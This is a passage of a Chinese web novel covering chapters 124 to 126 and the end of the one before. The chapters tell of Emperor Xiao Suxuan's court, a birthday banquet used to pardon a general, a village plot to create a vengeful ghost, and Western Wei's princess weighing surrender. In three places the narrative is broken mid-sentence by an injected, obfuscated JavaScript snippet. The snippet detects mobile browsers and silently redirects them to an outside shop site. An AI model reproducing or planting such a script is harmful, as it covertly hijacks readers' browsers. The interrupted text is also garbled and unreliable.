“是不是你自己心里清楚。”范闻道十分冷静,“以小而见大,古人说修身齐家治国平天下,那些个帝星自己身子都不正,谈何兴国安邦?所以今日局面,其实早就注定了。” 逸尘子情绪被挑起,“休要得意,眼下情势不过是暂时的,凡人怎么可能违抗上天,帝星就是帝星,虽已五去其三,但人界之主必定会在剩下的两人里出现,萧素玄不可能成功的! “世事无绝对,这可是道长你说的,试一试总比坐以待毙要好。” “你,你……”逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964631|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘子心里堵得慌,“你也是修道之人,明知天命难违,却还要跟着他们一起胡闹,就为了一个萧素玄,就为了虚无缥缈的将来,你们置天下苍生于不顾,良心何安!” “得了吧逸尘子,你我同为修道之人,那些糊弄无知百姓的话就不要说了,苍生从不会因一人而毁,也不会因一人而得救。”范闻道摇摇头,“我人界向来归天界管辖,哪来的所谓天道,如果天道真的存在,就不该因为厌恶萧素玄一个人而拿一国百姓作棋子,我不知道他是得罪哪路神仙安了这样一个命数,但我知道,食君之禄,担君之忧,你若执意替天行道,那就莫怪我跟你拼个鱼死网破!” “萧素玄到底何德何能,值得你们一个个的这么维护!” “那几个又何德何能?什么本事都没,只因天意二字,总有一堆人前赴后继赶去卖命。”范闻道抬头望天,“我修行多年,研读各种杂学典籍,一直在想,于天界的神仙而言,凡人是什么呢?难道仅仅是女娲上神捏土造出来的泥偶,无心无情,可以随意摆弄?他们说谁是帝星,天下人便要奉谁为主,那一颗颗赤胆忠心,就这样被当成盘中棋子,去决出个胜负黑白来?” “你竟在质疑上天?” “天有何惧?不过是一群修为高深的生灵住在了上面,庇护着弱者,也统治着弱者。我等皆活在被划定好的轨迹里,生死祸福提前定下,喜怒哀乐可以预料,就连这顶上日月也只是真正太阳月亮的本源分身,一切都是假的。” 逸尘子惊骇不已,“范闻道,你要入魔了!” “逸尘道长别信口开河乱扣锅,我身上可没有半点魔气,只不过是看透了而已。” “什么看透,仙道才是正途,你若不遵天界旨意,日后必会堕入魔道!” 范闻道神色不变,“天命难违,我比谁都相信这一点,但人嘛,总是喜欢做些出格的事,有时也会想……逆天行事,如今我既然站在这天师府,那便是做出了抉择,虽帝星闪耀,但这主公,我自己选了。” 逸尘子:“齐皇这都招了些什么人,你们真想以一己之力对抗上天吗?” “以前无人反对人界不也动荡不安,那些个神仙何曾在乎过我们这些蝼蚁,从前不管不顾,现在帝星一丢就丢五颗下来,耍人玩儿呢,我不过是在按自己的意愿走下去而已。” “即便最后不得善终?” “人活一世,难不成就是为了一个好死之局?” “生前事身后名,凡人所求还能为何,这短暂光阴难道不该用来做些有价值的事,就非要浪费在这毫无意义的固执上吗?” “营营苟且,百岁长寿岂为乐,我心自在,盛年而夭亦无憾。” “都疯了,你们全都疯了!”逸尘子再也不想跟这人掰扯下去,恼火地朝外走,“好,我就等着看你们能不能得偿所愿!” 范闻道一甩拂尘,“逸尘道长,不送!” 124. 姜母过寿 南楚与北梁彻底归入东齐,付常昊带着满身荣耀班师回朝,所到之处百姓们无不夹道欢迎。 然而就在他领着几位心腹入京之时,一件意外发生了。 熙熙攘攘的人群中忽然扑出一位挑着扁担的老者,他脚下不稳,整个人摔倒在马前,藤筐里的水梨也骨碌碌滚落开来。 “我的梨!”他着急忙慌地去捡梨。 付常昊的副将鲍风恼火不已,这人突然出现惊了将军的马,害将军险些摔下,现在又为几个破梨子在这里磨磨蹭蹭跟捡什么宝贝似的,要是耽误了他们觐见陛下可怎么办? 越想越气,鲍风纵马上前,对着地上的老者就是一鞭子,“滚开,好狗不挡道!” 这一打不要紧,原本趴在地上捡梨的人突然身体一翻,口吐鲜血,当场胸膛没了起伏。 原本热闹的街道忽得静了下来,片刻之后,呼救、谴责、声讨……一阵阵声音猛地爆发开来,将付常昊他们完全淹没。 那个卖梨的老者最终被大夫证实了死亡,而付常昊和兄弟们,费了好大劲才从百姓的包围中脱身。 事后,付常昊结结实实骂了鲍风一顿,让他赶紧找些银子赔给那老者的亲眷,尽快大事化小,免得惹出更大的风波。 然而怕什么来什么,他战功赫赫本就惹人眼红,这杀人的恶行又在众目睽睽之下发生,哪里能瞒得住,几天过后,此事愈演愈烈,朝堂上也有人弹劾,而鲍风,到底还是被京兆尹给抓了过去。 付常昊进宫向萧素玄求情。 “大庭广众做出这种事,你让朕怎么容情!” 御书房内,萧素玄大发雷霆。 付常昊自知理亏,但还是硬着头皮道:“陛下,我东齐出一个将才不容易,要是就这么折了岂不可惜,他一向脾气急,不是故意闹出人命的。” “不是故意的人也没了!”萧素玄只觉头疼。 “他立功不少,能不能将功抵过?” “功是功,过是过,天子犯法与庶民同罪,朕才刚刚颁皇令官员不得为非作歹,他可倒好,转头就明目张胆地弄出这么大动静,你还想让朕饶过他,朝令夕改,京城百姓以后要怎么看待朝廷!” 付常昊苦着脸,“陛下,他打死的那老者上午还在城东医馆看病连路都走不稳,下午忽然就出现在城西卖梨,事有蹊跷,您得明察秋毫啊。” “他自己行得正坐得端就不会被别人钻空子!”萧素玄被气得连心口也开始疼了,“不过就是挡了路,多大点事,非去打人家,现在被扣黑锅也是他应得的。” “陛下……他是最早跟着臣的那批人之一,岚城之战后臣也不剩几个兄弟了,您就高抬贵手,放他一马吧。” 萧素玄看着付常昊满眼的恳求,心里很不是滋味,他想了想,道:“罢了,人要保,法也得遵,他家里有什么姐妹没有?” 付常昊一愣,怎么突然说起这个了,但陛下问话他也不好不回答,思索一番后,道:“臣听他说过有个妹妹。” “可有才艺?” “额……据说舞跳得不错。” “舞?”萧素玄的手指点了点桌子,“长忠,去告诉京兆尹,鲍风的事公开审理,依律处置,判得越严越好。” “陛下!”付常昊急了。 “闭嘴,朕还没说完!”萧素玄怒喝。 付常昊缩起脑袋。 萧素玄接着又缓下语气,“下月中旬,皇后母亲五十大寿,去通知礼部,姜老夫人今年寿宴在宫中大办,再放出消息,寿宴献艺头名朕会赏一道免罪令,持此令者,只要不是诛九族的大罪都可特赦。” “陛下这是……奴才明白了。”长忠心领神会,马上出去传旨。 萧素玄看向付常昊,“至于你,现在立即去牢里让鲍风写一份万字的忏悔书出来,等他妹妹拿了免罪令,立即将它贴到闹市去。” “陛下,他一个大老粗,让他写这些实在是……有些难了。” “就算杀人是被陷害的,当街纵马,持鞭伤人总不是假的吧,连一份忏悔书都写不出来,留他何用!”萧素玄愤怒地拍了一下桌子。 付常昊见陛下如此动怒,生怕再出意外,连忙告退,“末将这就去。” 望着付常昊跟兔子一样三两步跳出御书房的背影,萧素玄觉得头更疼了,“一个个的,可真会给朕出难题。” —— 丞相夫人的寿宴在宫中举办,满朝重臣无一缺席,场面十分热闹。 当然,在一些不被注意的角落里,还是有些酸言酸语的。 “陛下自己的生辰宴都没这么大办过。” “还不是为了给皇后长脸。” “姜夙月那个狐媚子,当初就勾得三皇子找不着北,现在陛下也被她迷得神魂颠倒,真是可恨。” “有其母必有其女,人家娘不就这么厉害,明明连儿子都没有,可姜丞相宁愿断香火也不肯纳妾,不知道着了什么邪。” “窦映香的命真是好啊,当初嫁给姜温羽的时候那还是个游手好闲的公子哥呢,结果转头人家就靠着先帝伴读的身份当上了丞相,两个亲弟弟不争气,可这异父的兄长却生生给她争来了靠山,现在依仗女儿,咱们全都要来给她贺寿,一辈子就尽享福了!” “这就叫同人不同命。” …… 寿宴流程很快来到献艺。 此次登台的都是各世家的千金小姐,美貌动人,多才多艺。 窦氏坐在席间兴致缺缺。 姜丞相在她身旁小声道:“这是你的寿宴,好歹装装样子,献艺的都是世家千金,你总盯着桌上这几盘菜未免太不给面子了。” “她们这么卖力地表演难不成是给我这个老太婆看的,哼,醉翁之意不在酒,都是一群想抢你女婿的,我才懒得瞧。” “年纪越大心眼越小,这世间男子有几个不是三妻四妾的,这后宫哪能真的就只有一个皇后了。” 窦氏闻言伸手朝姜丞相腰间狠狠一掐,“怎么,你是年轻的时候没多纳几个美妾,现在后悔了?” 姜丞相嘶了一声,“你掐我干什么,这怎么又扯上我了。” “谁叫你乱说话。”窦氏收回手。 “我这不是为了让你想开点嘛,”姜丞相面露痛苦,“好痛。” “不至于吧,我没下重手啊。”窦氏面露怀疑。 姜丞相扶着腰,“我这老胳膊老腿可不比从前了,枯树皮一般哪经得起你摧残。” “真的很疼吗?”窦氏伸手去摸丈夫的腰。 “你帮我揉揉。”姜丞相趁机拉过她的手,“揉揉就不疼了。” “说什么呢,这么多人。”窦氏有点不自在。 “他们都盯着台上如花的美人,谁看我们两个老头老太太。”姜丞相嬉皮笑脸的。 “去你的,老不正经。”窦氏看出了他的逗弄,红着脸把手缩了回去。 萧素玄坐在高台,看着“耳鬓厮磨”的姜丞相夫妇,十分羡慕,他转头看了看跟他相隔一尺远的月儿。 姜夙月的目光只在台上那翩翩起舞的美人身上,没有半点分给旁人。 萧素玄默默端起桌上的茶,落寞地喝了一口,有点涩,还有点苦。 酒过三巡,窦氏离席。 萧素玄看了不远处的一个宫女一眼,那宫女忙跟上窦氏。 窦氏来到一处偏殿,换下被酒水沾染的衣服后,她正欲回到宴席,冷不丁却听隔壁传来两个宫女的说话声。 “这鲍小姐也太拼命了,掌上舞可不好做,万一摔下来,丢脸是小,断胳膊断腿可怎么好。” “没办法呀,谁叫她哥哥如今在牢里蹲着呢,为了这次的免罪令,就算是上天入地她也得试试吧。” “陛下也太小题大做了,那鲍将军立下那么多功劳,现在就为个卖梨的小贩便要喊打喊杀的,万一将士们心里存下疙瘩怎么办。” “大人物的想法哪是我们能猜到的,不过我还真希望鲍小姐能夺魁呢,不但能救下鲍将军,咱们宫里也不必多个主子出来,你看其他那些个献艺的,哪是想得免罪令啊,是想得陛下的心。” 窦氏面露思索。 不一会儿,窦氏回到席间。 此时献艺也快结束了,最后一场正是鲍风之妹。 她身量轻盈,做起掌上舞来确实精彩不已。 舞毕,萧素玄看向窦氏,“此次寿星乃是夫人,不如就由您选出魁首吧。” “这……”窦氏本想推辞,然而想到刚刚听到的话,又改口道,“不如就这位吧,舞跳得挺好。” 萧素玄大笑,对着台上道:“既是寿星亲点,那此次最佳的便是姑娘你了,朕说过,获胜者可得一道免罪令,以后若有麻烦,尽管持此令来。” 鲍姑娘大喜过望,连忙拜下,“谢陛下,谢夫人,陛下,臣女如今便有一事希望免罪,还请您成全。” 萧素玄笑容微收,“现在?” 鲍姑娘含泪叩首,“臣女兄长鲍风前几日伤了一位老人,他意外身亡,兄长也被京兆尹所擒,臣女自知兄长鲁莽,不敢奢求他全然脱罪,只盼您能网开一面,饶他一命,臣女愿披麻戴孝为那位老人家守灵,还请您成全。” 萧素玄面露犹豫。 寿宴忽得静了下来,气氛有些凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978096|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重,窦氏却笑着插了话,“陛下,鲍姑娘诚心一片,臣妇想,逝者已逝,倒不如珍惜眼前人,律法本就是为惩恶扬善所设,鲍将军为国征战,也非穷凶极恶之徒,惩罚一二便是,而且,您可是有言在先的。” “鲍风……今日是夫人大喜之日,朕也不好扫兴,君无戏言,朕……准了。”萧素玄“勉为其难”答应下来。 “谢陛下。”鲍姑娘高兴不已。 张重靖坐在席间喝闷酒,他看着这一出大戏落幕,心里很不痛快,“利用别人还偏摆出这么一副情深的面具来遮掩,虚伪做作。” 宴席散后,窦氏留宿未央宫与女儿叙旧。 “月儿,娘今天好高兴。” “我也没想到素玄会为您这么大操大办的,今日的娘亲可真是风头无两。” “傻丫头,娘一把年纪了,哪里还在乎这些虚名,娘是为你高兴啊。” “为我?” 窦氏满脸喜色,“我虽是丞相夫人,可说破天去也不过是一介臣妇,陛下九五之尊,却为我的生辰这么费心弄出这么多的花样,为的是谁,还不是为你,这都是因为陛下在乎你呀。” 姜夙月愣住。 “陛下虽说身子差了点,可身子差也有身子差的好处,这宫里也少了那么多的莺莺燕燕,月儿,现在陛下只有你一个皇后,你可一定要抓紧,早日怀上龙胎别叫那些狐媚子钻了空子。” “孩子……孩子这种事。”姜夙月支支吾吾。 “我知道这不容易,我比谁都知道。”窦氏拉过女儿的手,语重心长道,“都是娘不好,当初跟你爹就是成婚多年难有身孕,没想到这体质竟还传给了你。月儿,家里送进来的那些补品一定要按时吃知道吗,皇天不负有心人,一定能成功的。待你有了身孕,给娘生个白白胖胖的孙子,娘这辈子可真是半点遗憾都没有了,就是立马进棺材也甘愿。” 姜夙月忙道:“娘,大喜的日子干嘛要说这种话。” “月儿,娘就你这么一个孩子,只要你能幸福,娘就心满意足。” “娘,我……” 姜夙月突然觉得自己很不孝,为一己私情让爹娘白白期待着。 窦氏很快在偏殿睡下,而姜夙月,在主殿彻夜难眠。 “橙冬,你说我是不是很自私。” “啊,娘娘,您怎么了。” “爹爹跟娘亲一直盼着孙儿出世,满朝文武也在等着我给他们生个继承人出来,可我……我却……” “娘娘……您不要内疚,这也不是您一个人的错,陛下……陛下他也有责任的,之前您留过他的,是他自己不乐意,不能全怪您。” “可那都是因为我不愿对他敞开心扉,说到底根源还是在我身上。橙冬,我不爱他,不知道为什么就是不爱他,我很努力说服自己去接受他的心意,可我偏偏做不到。” “我知道,娘娘,我都明白的,感情这种事本来就说不清,一切都是天意弄人,是天意……” 子夜过半,姜夙月一直睡不着,橙冬便说要去给她拿安眠香。 待出了门,橙冬无力地滑坐墙角,“若真是姻缘天定,为什么不肯给个好的结局,事情都已经变成这样了,难道还有转圜的余地?宸王,小姐莫不是上辈子欠了你的。” 寿宴过后,宫中又恢复了平静。 但橙冬却暗自做出了一个计划。 “这酒确定可以?” “管事说了,这是合欢散是先贵妃特意从中周带过来的秘方,寻常人一杯就倒,而且算是补药,于身体有益,任哪个太医过来也查不出的,不过橙冬姐姐,你真要这么做啊。” “陛下跟娘娘感情好点,咱们做奴才的腰杆挺得也值是不是。” “那倒是,陛下总不在咱们这留宿,暗地里闲话确实不少。” “去吧。” “嗯。” 姜夙月本来正在寝殿里看着账本,忽然有一个宫人过来说御膳房新制了一种甜汤,请她尝尝。 姜夙月不疑有他,喝下一碗,果然很快陷入迷梦之中。 橙冬又跑去安居殿,以皇后的名义请陛下过去共尝佳肴。 萧素玄拒绝了。 长忠有些诧异,“陛下,皇后娘娘难得主动邀您,怎么不去呀。” “今日……是当年她和木桪定亲的日子。” 长忠:“啊?” 萧素玄冷着脸,“朕还不至于沦落到要去做别人的替代品。” 橙冬无端被拒,怎么也问不出理由,只好又回到未央宫。 望着面色酡红的皇后娘娘,她心情很不好,“难道真是天意难违?” 125. 刺杀齐皇 南楚覆灭,有人喜,有人悲,有人垂首认命,也有人愤恨不甘。 修仙者虽远离尘世,但到底出于尘世,无法全然割舍曾经的感情。南楚不像东齐那般朝廷堂而皇之招揽天师,所以明面上术士不多,但暗地里,这样的人并不少。 灵川三杰,便是其中颇有声名的三兄弟。 南楚亡国后,他们心中悲痛,奈何势单力薄,既无力抵抗东齐军队,也斗不过天师府的那几位修仙前辈,无计可施之下,他们想到了去走邪路。 在经历数月的探寻后,他们来到东齐境内的一处村庄,开始施行自己的计划。 “大哥,这地方能行吗,咱们这魂魄收集得可不容易,万一浪费……” “浪费又如何,我南楚亡得这么冤,难不成还缺怨气?这次不行就下次,我就不信他萧素玄有九条命!东西呢。” “在这里。” 然而三人并不知道,这偏僻的小村庄里也住着一位同道中人,他们鬼鬼祟祟的行动的当然瞒不过她。 青草村,宗族祠堂。 丁婆召集了全村的村民,向他们讲述了事情的严重性。 村长大为惊骇,“他们想害陛下?” “不错,我亲眼所见,他们不知从何处捉来几只未入地府的游魂,怨气极重,我们青草村地势奇特,阴气聚集,若在此施展邪法,确实能对陛下产生妨碍。” 村长满脸担忧,“陛下身体一直不好,若真遭此难,只怕后果难料。” 丁婆点头,“所以我才叫大家来,希望有人能助我一臂之力。” “该怎么做,你说。” “那三人修为远在我之上,想要捉拿他们怕是难于登天,而且咱们这里也没有仙门可以求助,短时间内找不到援兵,那就只有……” “只有什么?” “只有……”丁婆吞吞吐吐。 村长急了,“到底是什么你说呀,大晚上的把乡亲们叫过来不就要是一起想办法吗。” 丁婆深吸一口气,道:“我曾在师门的卷宗中看过,世间厉鬼多种多样,其中有一种极为可怕,若女子身着红衣夜半去世,不用修炼便可在化鬼之初拥有强大的法力,寻常修士难以匹敌,所以我想……” 此言一出,众村民心里都是一咯噔。 这是……要牺牲一个人去做厉鬼吗? 霎时间,家有女眷的人人自危。 甚至有人出言质疑,“丁婆,你几十年前就离开咱们村了,最近几年才回来,说是什么在仙门求学,可也不见你会什么移山填海的法术,这办法不会是你胡扯的吧。” 有人开头,自然便有人接话,“就是,这什么暗害陛下的事也是你自己说的,谁知道是真是假。” “你们。”丁婆脸上有些挂不住。 村长忙上前打圆场,“好了,当初要不是丁婆,咱们大家可就要被那条巨蛇给吞干净了,哪还能站在这里活蹦乱跳的,现在最要紧的是想办法怎么阻止那些人。” 要阻止就必须有人被献祭,纵然只是个女子,可谁也不愿意自己的亲人出事啊。 就在一众人担惊受怕的时候,有道微弱的声音响起,“让我去吧。” 村长循声望去,“阿青?” 名为阿青的少女走上前,“您也知道我体弱多病,大概……也活不了几年,既然遇到这件事,或许就是天意,让我来吧,正合适。” “阿青,你……”村长有些不忍心,他知道阿青是个苦命的孩子,这好不容易日子刚有点起色,怎么能……村里其实有几个更适合的,可他们……唉,到底是性命悠关,谁又甘愿。 阿青略显苍白的脸上浮现出一丝决然,“事情紧急,总得有个人站出来,不是我就是别人,难道您想让其他牵挂更多的人离开吗?” “这……”村长很为难。 “我走之后,还请您替我照顾小雪。” 村长重重叹了口气,“也罢,你既如此大义,我也就不推辞了,你是为我们东齐,为我们村牺牲的,我答应你,一定好好照顾小雪,叫她往后衣食无忧。” —— 事情议定后,阿青回家开始准备后事。 她正收拾着东西的时候,妹妹小雪走进屋,“姐姐,隔壁的小石头说你今晚就要死了。” 阿青手下一顿,她抬起头,拉过妹妹,道:“小雪,姐姐确实要走了,以后你就跟村长爷爷一起住,好吗?” “不好,姐姐,我不想离开你。”小雪不舍地扑进姐姐怀里,“那个皇帝到底跟我们有什么关系呀,他只会派人来收税,抢我们的钱,让我们变得更穷,你为什么要为他去死呢。” 阿青摸了摸妹妹的头,语重心长地对她说起心事。 “在我们这种小地方,女孩儿都是不值钱的,小时候娇娇气气,肩不能提手不能扛,好不容易养大能干活了,却又要送到别人家当牛做马,娘家是半点便宜也占不着。” “大家都不愿意生女儿。” “在你之前,我还有三个妹妹,可他们都被爹娘亲手送走了。” “我能看得到他们眼中的不舍,更能看清楚他们手下的无情。” “小雪,我眼睁睁地看着三个妹妹在眼前逝去,真的好难受。” “你出生的时候,我好恨你,恨你为什么不是个男孩子,恨你让我又要再经历一次失去的痛苦。” “可是上天眷顾,陛下颁布了皇令,女子可单独立户,民间也不准再溺杀女婴,若是有县城哪一年出生的男女婴儿之比太过悬殊,县令就得亲自到京城去面圣解释。” “你活下来了。” “小雪,我一直都十分感激陛下,是他让我有了一个保护你的机会。” “如今,也该是我回报的时候了。” 小雪窝在姐姐怀里,完全听不懂这些话,她只知道姐姐不要她了,“姐姐,你只想着报答他,难道就不要我了吗,你不在了我怎么办。” 阿青道:“姐姐当然舍不得你,可如果陛下不在了,其他人当上这个皇帝,咱们东齐女子可未必还能这么幸运,或许你我都要回到从前的日子。 小雪,你生得很漂亮,我从未见过像你这样的漂亮的小姑娘,若陛下驾崩,东齐回到从前,你必定会被带回到爹娘身边,然后像个牲口一样被卖掉,没有任何人会觉得这是错的,更没有人会站住来阻止。 小雪,你要永远记得,国没了,家也就不会存在。 厨房米缸下面藏着姐姐攒下的十两银子,还有我这些年刺绣的心得手记,你要收好,以后这就是你安身立命的本钱。还有,姐姐以前教你认的字一定不能忘了,要是你忘了将来可不一定再有机会学,你要活下去,好好活下去。” 阿青滚烫的泪水一滴又一滴落下,带着无尽的不舍。 夜半。 阿青将小雪送到村长家后,便回到屋内换上一身红衣,将白绫吊在房梁上。 站上凳子,握着白绫,阿青视死如归,“陛下,这是民女唯一能为您做的事。” 将头放进布圈,踢掉木凳,强烈的窒息感传来,阿青的脸色逐渐变得痛苦。 就在阿青即将断气之时,一把镰刀凭空出现,“嚓——”割断了白绫。 半空有一黑袍人跳下,落地的时候没有半点声响。 阿青摔落在地,“咳咳咳。” 黑无常后怕地抹了把额头上并不存在的冷汗,“我的个乖乖,好险,差点又有厉鬼出世!” 黑无常来到阿青面前蹲下,“我说你这小姑娘,年纪轻轻的寻什么死啊,还用这种方式,嫌我们地府不够乱是不是。” 阿青正要抬头,却惊骇地发现这人竟没有脚,她又望向这人的脸,倒挺正常,“你,你是?” “我?本名不记得了,不过如今在地府担任无常鬼差,你叫我黑无常就行。” “黑,黑无常?”阿青很震惊,这就是传说中的黑白无常? “对呀。”黑无常向她抱怨,“你看你长得这么漂亮,年纪不大阳寿也没尽,怎么就不想活了,你知不知道,我们地府的鬼差每天都忙得团团转,这回你要是化成厉鬼,又是一桩大麻烦,行行好吧姑奶奶,别真把我们给累趴下了。” 阿青被黑无常的唠叨震住,连害怕也忘了,“鬼也会累的吗?” “鬼凭什么就不会累?”黑无常苦着脸,“我们只是没有实体而已,本质还是活着的,会饿会疼也会累的好吧。” “这,这样啊,那还真是抱歉。”阿青喃喃道,然而下一刻她就反应过来,一把抓住黑无常的衣袖,“不对,你是黑白无常,大人,请您救救我们陛下,有人想用怨魂害他!” “怨魂?”黑无常皱起眉头,“你跟我仔细说说。” —— 黑无常听阿青说完事情经过后,先是安抚她一定会尽快解决,让她好好活着,而后又出门寻到了灵川三杰所在的地方。 三杰正在施法炼化怨灵。 黑无常一拳过去将三人打得吐血倒地,那充满怨气的魂魄,也被他收进随身法宝中。 见寿数还长,黑无常也没过多为难,留下一句狠话便走了。 “本大人记住你们了,再敢捣鼓这些歪门邪术,我就把你们的生魂全都勾进地府,直接投入畜生道,下辈子做牲畜去!” 计划被黑无常破坏,以后也可能被他重点盯着,灵川三杰心态几近崩溃。 “大哥,怎么办,地府已然插手,即便是我等不在乎死后如何,可眼下不过肉体凡胎又如何对抗得了鬼差,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧素玄拿着香正要拜下,周围却突然刮起怪风,一阵令人毛骨悚然的笑声传来:“小皇帝,有人愿意用余生阳寿换你一条命,这笔买卖我觉得很合算,受死吧!” 萧素玄转过身,就见前方上空飞来一个青年男子,那男子本来满脸张狂,然而下一刻却突然大惊失色,“素玄?” 一道耀眼的金光闪现,那男子好似受到重击一般倒飞出去,落地之时变成了一只五彩斑斓的大蟾蜍。 五彩蟾蜍睁着惊恐的大眼睛,向着人少的地方飞速逃窜而去。 忘尘子一开始被风沙迷了眼,听到有人想害陛下暗道不好,然而这风沙实在难缠,等他好不容易运功驱散开,却惊愕地发现一只大蟾蜍落到了地上,然而这蟾蜍身上半点妖气也没有,“仙灵之气?” 忘尘子大惊,难道是上界仙人? 见蟾蜍逃跑,他刚想去追,可突然想到什么,脚下却是一顿,他转身对着高台上的萧素玄猛地一挥拂尘—— 七色霞光落在萧素玄身上,将他衬得如同天神一般。 萧素玄疑惑地看向忘尘子。 忘尘子对他使了个眼色,同时高声道:“天佑吾皇!连此等妖邪都难以近身,足见我东齐一统江山乃是天命所归,咱们陛下才是真命天子啊!” 围观的百姓本还处在见到妖怪的慌乱中,忽然听国师这么说,也纷纷反应过来,齐声高呼。 “真命天子!”“真命天子!”…… 高台上,苍狼满头雾水,“陛下,这算是哪一出?” “国师没去当个神棍真是屈才了。”萧素玄僵笑着保持威严。 “啊?那咱们……” “装着呗,还能怎么办。” 另一边,逃跑的大蟾蜍跃进一处树林,再度化成了人形,猛地吐出一口血。 泗蟾靠着树干坐下,“居然是那条王八蛋鱼,我可真是被那三个凡人害惨了。” 努力运功平复气息,然而收效甚微,泗蟾五脏六腑如烈火焚烧一般,实在难受,“明明小时候那么废,怎么长大就变得这么强了,居然连神君才有的护体神光都修出来了,咳咳咳……不就是小时候欺负过你几回吗,都已经把我在天界逼得没地站了,怎么下到人界还能遇上,苍天啊,这是完全不给我活路吗。” 泗蟾觉得他命好苦,幼年之时爹娘感情不和,各自分离谁都不想要他,就把他丢给了住在碎星湖的姑姑。他那段时间心中愤懑,又无人可诉,眼看素玄虽然天资低下,仅是个区区灵体,却有温柔善良的娘亲照顾,又有漂亮可爱的邻家妹妹陪伴,心里不自觉地便产生了妒忌。 但他可以发誓自己没干什么伤天害理的事,只是找借口打了几次架而已,没断胳膊也没断腿,根本不严重,很小的过节罢了,万万没想到长大后一朝相遇他就被素玄给盯上了,满天界地找麻烦,跟猫戏耗子一样搅得他苦不堪言。 好不容易逃下人界,居然又碰上了这个煞星,泗蟾想到此处,顿感胸口隐隐作痛,又想吐血了,“难道真的只能去妖界?” 126. 西魏归降 穆飞霜忙了一天好不容易才将事情处理完,拖着疲惫的身体回到寝殿时已是半夜。 侍女阿兰端来参汤,“公主,喝点吧。” 穆飞霜没有胃口,“我喝不下。” 阿兰瞧着主子满脸的憔悴心疼不已,“公主,您别这么拼命,总这样废寝忘食的铁打的身子也受不了啊。” “不然又能怎么办。”穆飞霜面上露出一丝苦涩。 阿兰沉默,她也不知道。 “阿兰,我感觉我要撑不下去了。”穆飞霜突然道。 “公主?”阿兰虽十分担心主子,但听她这样说,又忍不住去鼓励她,“眼下虽一时困顿,但大体上一切不是都在朝好的方向发展吗,您逐渐掌握了权柄,皇上也平平安安的,何苦说这种话。” “都是一群狼子野心之辈,谁都顾着自己的利益,我穷尽心力,也不过堪堪保住了这朝堂内的平稳,而对外……” 阿兰明白主子的未尽之意,蹲下身,握住她的手温声道:“攘外先安内,您已经做得很好了,慢慢来,事情总会有转机的。” “慢慢来……现在南楚和北梁都没了,中周连失数位重臣亦是元气大伤,五国一统近在眼前,哪里还有时间给我慢慢来。” “公主……” “阿兰,你说如果我现在向东齐递上降书怎么样?” “公主!”阿兰大惊,“您怎么可以有这种想法,就是打到只剩一个人咱们也不能投降啊。” “打,我西魏可有能匹敌付常昊的战神?”穆飞霜问了一句。 “这……”阿兰无言以对,他们现在最缺的就是领兵之将了。 “没有吧,就连乔东鸣那样赤胆忠心又身经百战的老将都没有,这天下我们根本没有一争之力。”穆飞霜说着说着就红了眼,“到时候除了等着别人打过来生灵涂炭,什么都改变不了。” 阿兰见不得主子这样意志消沉,想了想,道:“公主,我们可以去招揽人才呀,西魏这么大,总会有沧海遗珠的。” “谈何容易。” “总要试试的嘛。” “我不是没有试过,阿兰,我试过的!”穆飞霜面色痛苦,“可那些人,要么贪图我的美色,妄想凭手中势力来逼迫我就范,要么就是打着娶了我好掌控皇室的主意,挟天子以令诸侯,好不容易碰到几个忠义之士,又嫌我一个女流之辈手太长,牝鸡司晨不堪投效,我真的没有办法了。” “公主……” “说来可笑,要不是六皇叔野心太大,跟着其余三国去围困萧公子结果反被付常昊斩杀,我这边的压力也不会一下子小了许多。”穆飞霜历经多年的内斗消磨,早已不如当年那般自信飞扬,“阿兰,我好恨自己是个女子,做什么都要被轻视三分,费尽心机也不过是在这豺狼环伺的境况下保全了少陵,天下……我拿什么去争啊。” “公主,您不比任何男人差的。” “我若是男儿,西魏局势何至于落到如此地步。” “公主别说丧气话,东齐不是下令女子可承爵立户吗,我们也可以这么做的,等大家接受了这种事,必不会再有人总跟您作对,届时您想干什么都会很容易的。” “东齐还有时间去改,可我们西魏没有了,一个个的都只想着争权夺利,不顾大敌当前,不管百姓苦难,西魏江山已是风雨飘摇,又能支撑多久?”穆飞霜无力地摇摇头,“都说东齐国小力弱,可人家君臣一心竟也走到了今日的地步,我们西魏再是强大也抵不住这人心诡谲,阿兰,我好累,我真的好累。” 阿兰也红了眼,“公主,都是奴婢无能。” 就在这时,外面忽然有宫女禀告:“公主,冯太尉求见。” “这么晚了,太尉大人怎么会来。”阿兰很奇怪。 穆飞霜也顾不得伤心了,连忙擦干眼泪,“深夜前来必有要事,阿兰,替我梳妆。” “是。” 穆飞霜让人将太尉请到早朝偏殿等候,自己很快整理好仪容,赶紧去见他。 冯太尉一见穆飞霜出现,立即跪倒叩首,“公主。” 这冯太尉曾是先魏皇的老师,在其驾崩后又一直担任辅政大臣,因而穆飞霜一向对他敬重有加,连大礼也免了,这叩首伏地的举动实在有些突然。 穆飞霜惊讶地上前,“太尉大人这是做什么,快快请起。” 冯太尉抬起头,道:“老臣今日前来,是有一事想请公主恩准。” “太尉有话直说便是,何必如此。”穆飞霜去扶他。 可冯太傅却不肯起身,“老臣是想请公主归降东齐。” “什,什么?”穆飞霜身体一僵。 